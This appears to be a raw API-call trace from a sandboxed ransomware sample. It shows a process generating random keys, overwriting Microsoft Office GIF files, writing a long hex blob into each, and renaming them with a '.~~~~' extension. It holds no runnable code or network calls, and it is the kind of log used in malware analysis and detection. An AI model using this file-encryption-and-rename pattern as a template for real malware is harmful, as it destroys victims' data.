	[0127.674] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.674] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.675] CloseHandle (hObject=0x138) returned 1
	[0127.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e76f0
	[0127.675] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif.~~~~")) returned 1
	[0127.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e76f0 | out: hHeap=0x300000) returned 1
	[0127.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.677] GetLastError () returned 0x0
	[0127.679] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.680] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.680] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.680] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24767031970) returned 1
	[0127.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb58f1830, dwHighDateTime=0x1d60e1e)) 
	[0127.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9778
	[0127.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9778 | out: hHeap=0x300000) returned 1
	[0127.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7c30
	[0127.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c680
	[0127.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0127.681] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.681] GetLastError () returned 0x0
	[0127.682] GetLastError () returned 0x0
	[0127.682] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.682] GetLastError () returned 0x0
	[0127.682] GetLastError () returned 0x0
	[0127.684] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe5c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.684] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x1a4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1a4, lpOverlapped=0x0) returned 1
	[0127.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.685] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.686] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.686] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.686] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.686] CloseHandle (hObject=0x138) returned 1
	[0127.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0127.686] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif.~~~~")) returned 1
	[0127.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0127.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.687] GetLastError () returned 0x0
	[0127.687] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.688] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.688] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.689] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24767882153) returned 1
	[0127.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb58f1830, dwHighDateTime=0x1d60e1e)) 
	[0127.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f97b0
	[0127.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f97b0 | out: hHeap=0x300000) returned 1
	[0127.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7990
	[0127.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c680
	[0127.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7990 | out: hHeap=0x300000) returned 1
	[0127.690] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.690] GetLastError () returned 0x0
	[0127.690] GetLastError () returned 0x0
	[0127.690] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.690] GetLastError () returned 0x0
	[0127.690] GetLastError () returned 0x0
	[0127.691] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.692] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xc2, lpOverlapped=0x0) returned 1
	[0127.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.693] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.693] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.694] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.694] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.694] CloseHandle (hObject=0x138) returned 1
	[0127.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7990
	[0127.694] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif.~~~~")) returned 1
	[0127.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7990 | out: hHeap=0x300000) returned 1
	[0127.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.706] GetLastError () returned 0x0
	[0127.707] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.708] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.708] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.709] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24769876416) returned 1
	[0127.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5917990, dwHighDateTime=0x1d60e1e)) 
	[0127.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f97e8
	[0127.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f97e8 | out: hHeap=0x300000) returned 1
	[0127.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8218
	[0127.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8218 | out: hHeap=0x300000) returned 1
	[0127.710] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.710] GetLastError () returned 0x0
	[0127.710] GetLastError () returned 0x0
	[0127.710] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.710] GetLastError () returned 0x0
	[0127.710] GetLastError () returned 0x0
	[0127.714] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.714] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1cf, lpOverlapped=0x0) returned 1
	[0127.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.717] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.717] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.717] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.717] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.717] CloseHandle (hObject=0x138) returned 1
	[0127.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8218
	[0127.718] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif.~~~~")) returned 1
	[0127.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8218 | out: hHeap=0x300000) returned 1
	[0127.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.719] GetLastError () returned 0x0
	[0127.720] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.721] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.721] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.722] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24771184018) returned 1
	[0127.722] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb593daf0, dwHighDateTime=0x1d60e1e)) 
	[0127.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9820
	[0127.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9820 | out: hHeap=0x300000) returned 1
	[0127.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7798
	[0127.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7798 | out: hHeap=0x300000) returned 1
	[0127.723] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.723] GetLastError () returned 0x0
	[0127.723] GetLastError () returned 0x0
	[0127.723] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.723] GetLastError () returned 0x0
	[0127.723] GetLastError () returned 0x0
	[0127.725] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe9c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.725] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x164, lpOverlapped=0x0) returned 1
	[0127.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.727] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.727] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.727] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.727] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.727] CloseHandle (hObject=0x138) returned 1
	[0127.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7798
	[0127.728] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif.~~~~")) returned 1
	[0127.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7798 | out: hHeap=0x300000) returned 1
	[0127.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.729] GetLastError () returned 0x0
	[0127.729] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.731] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.731] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.731] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24772104191) returned 1
	[0127.731] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5963c50, dwHighDateTime=0x1d60e1e)) 
	[0127.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9858
	[0127.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9858 | out: hHeap=0x300000) returned 1
	[0127.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7d80
	[0127.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0127.732] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.732] GetLastError () returned 0x0
	[0127.732] GetLastError () returned 0x0
	[0127.732] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.732] GetLastError () returned 0x0
	[0127.733] GetLastError () returned 0x0
	[0127.734] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff3a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.734] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xc6, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xc6, lpOverlapped=0x0) returned 1
